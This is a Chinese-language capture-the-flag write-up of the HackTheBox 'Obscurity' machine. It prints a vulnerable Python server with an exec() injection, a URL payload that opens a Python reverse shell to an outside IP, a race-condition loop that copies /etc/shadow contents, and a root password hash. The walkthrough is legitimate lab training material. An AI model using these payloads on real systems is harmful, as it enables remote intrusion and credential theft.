HacktheBox---Obscurity

HacktheBox—Obscurity


  1. 获得内网ip地址
    在这里插入图片描述

  2. 对靶机信息进行探测

    # Nmap 7.70 scan initiated Tue Dec 10 19:13:17 2019 as: nmap -sC -sV -oA Obscurity 10.10.10.168
    Nmap scan report for 10.10.10.168
    Host is up (0.29s latency).
    Not shown: 996 filtered ports
    PORT     STATE  SERVICE    VERSION
    22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
    |   256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
    |_  256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
    80/tcp   closed http
    8080/tcp open   http-proxy BadHTTPServer
    9000/tcp closed cslistener
    1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    # Nmap done at Tue Dec 10 19:14:24 2019 -- 1 IP address (1 host up) scanned in 66.94 seconds
    
  3. 发现开放了8080端口和22端口,打开页面查看Message to server devs: the current source code for the web server is in 'SuperSecureServer.py' in the secret development directory的提示,这里就需要使用工具对网站进行fuzz测试,这里可以使用burp的intruder,推荐一个软件ffuf,安装之后对SuperSecureServer.py文件所在的目录进行爆破探测,很快就能发现这个秘密的目录了。

  4. 打开着这个文件发现python编写的后端文件,使用sokcet接受数据,分析url中的文件路径如果存在就显示该文件,发现一个exec()危险函数在这里插入图片描述

  5. 可以在本地运行该脚本,但是需要更改一下脚本。在本地31338端口接受请求对url进行解析。

    import socket
    import threading
    from datetime import datetime
    import sys
    import os
    import mimetypes
    import urllib.parse
    import subprocess
    import logging
    
    log = logging.getLogger(__name__)
    out_hdlr = logging.StreamHandler(sys.stdout)
    out_hdlr.setFormatter(logging.Formatter('%(asctime)s %(message)s'))
    out_hdlr.setLevel(logging.INFO)
    log.addHandler(out_hdlr)
    log.setLevel(logging.INFO)
    
    DOC_ROOT = "DocRoot"
    
    CODES = {"200": "OK",
            "304": "NOT MODIFIED",
            "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
            "500": "INTERNAL SERVER ERROR"}
    
    MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg",
            "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2",
            "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}
    
    class Request:
        def __init__(self, request):
            self.good = True
            try:
                log.info("Clear request:")
                log.info(request)
                request = self.parseRequest(request)
                log.info("after parse:")
                self.method = request["method"]
                self.doc = request["doc"]
                self.vers = request["vers"]
                self.header = request["header"]
                self.body = request["body"]
                log.info(request)
            except:
                self.good = False
    
        def parseRequest(self, request):
            req = request.strip("\r").split("\n")
            log.info("r0:")
            log.info(req[0])
            method,doc,vers = req[0].split(" ")
            header = req[1:-3]
            body = req[-1]
            headerDict = {}
            for param in header:
                pos = param.find(": ")
                key, val = param[:pos], param[pos+2:]
                headerDict.update({key: val})
            return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
    
    def listenToClient(client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data
                    req = Request(data.decode())
                    handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False
    
    def handleRequest(request, conn, address):
        if request.good:
    #            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
    #            except Exception as e:
    #                print(e)
            log.info("Request is GOOD")
            document = serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            log.info("Request is BAD")
            document = serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]
    
        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"
    
    
        resp = Response(
        statusNum=statusNum, statusCode=statusCode,
        dateSent = dateSent, server = server,
        modified = modified, length = length,
        contentType = contentType, connectionType = connectionType,
        body = body
        )
    
        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0
    
    def serveDoc(path, docRoot):
        path = urllib.parse.unquote(path)
        log.info("path after urllib:")
        log.info(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}
    
    
    log.info("Start")
    host = '127.0.0.1'
    port = 31338
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((host, port))
    log.info("binded")
    sock.listen(5)
    log.info("listen")
    while True:
      client, address = sock.accept()
      client.settimeout(60)
      threading.Thread(target = listenToClient,args = (client,address)).start()
    
  6. 测试网址http://127.0.0.1:31338/payload';print%20('success');'exec命令执行了,

    2019-12-14 14:12:21,420 Request is GOOD
    2019-12-14 14:12:21,420 path after urllib:
    2019-12-14 14:12:21,420 /payload';print ('success');'
    success
    
  7. 这时就可以执行Python的反弹shell,payload:
    http://127.0.0.1:31338/payload';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.104',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);'拿到www-data的权限

  8. 使用python3 -c "import pty;pty.spawn('/bin/bash')"优shell,该靶机没有python2,直接使用python3在这里插入图片描述

  9. 在/home下发现几个文件check.txt,out.txt,SuperSecureCrypt.py.check文件中说out.txt是利用SuperSecureCrypt文件加key加密之后生成的,我们需要解密出key值。在这里插入图片描述

  10. 加密方式是读取未加密文件的字符串中的单个字符转化为acsii码对应的数字与key中读取单个字符ascii码的数字相加再转换为ascii码。解密就是相减,这个就等于一个加减法公式check.txt+key=out.txtkey值就可以利用out.txt -check.txt=key解密.在靶机上利用python3 SuperSecureCrypt.py -i out.txt -o /home/key.txt -k "$(cat check.txt)" -d得到key值在利用passwordreminder.txt解密得到密码

  11. 最后key值得到为alexandrovich得到一个秘钥为SecThruObsFTW尝试使用robert用户ssh登录

  12. 在home目录下存在有一个BetterSSH文件里面存在一个py代码,用户可以使用sudo权限查看代码发现脚本读取/etc/shadow文件并会写在/tmp/SSH文件下但是马上就会删除,这时候就可以编写一个脚本再极短的时间内不停读取/tmp/ssh目录下的文件内容在这里插入图片描述

  13. 提供两个代码pyhton和shell

    import os
    import shutil
    while True:
        for item in os.listdir("/tmp/SSH"):
            s = os.path.join("/tmp/SSH", item)
            d = os.path.join("/tmp/shadow", item)
            if os.path.isdir(s):
                shutil.copytree(s, d, symlinks, ignore)
            else:
                shutil.copy2(s, d)
    
    #!/bin/bash
    while sleep 0.1; do 
    	cat /tmp/SSH/* 2>/dev/null;
    done
    
  14. 执行BetterSSH.py同时执行复制或者读取脚本获得ssh的hash值,使用john破解root:$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1:18226:0:99999:7:::

  15. 该靶机测试发现不允许root用户使用ssh远程登录,使用先登录robert用户使用su提升权限(写文档的时候靶机老是重启ssh连接之后非常非常卡就不贴图了)

来源: https://blog.csdn.net/qq_37027540/article/details/103538158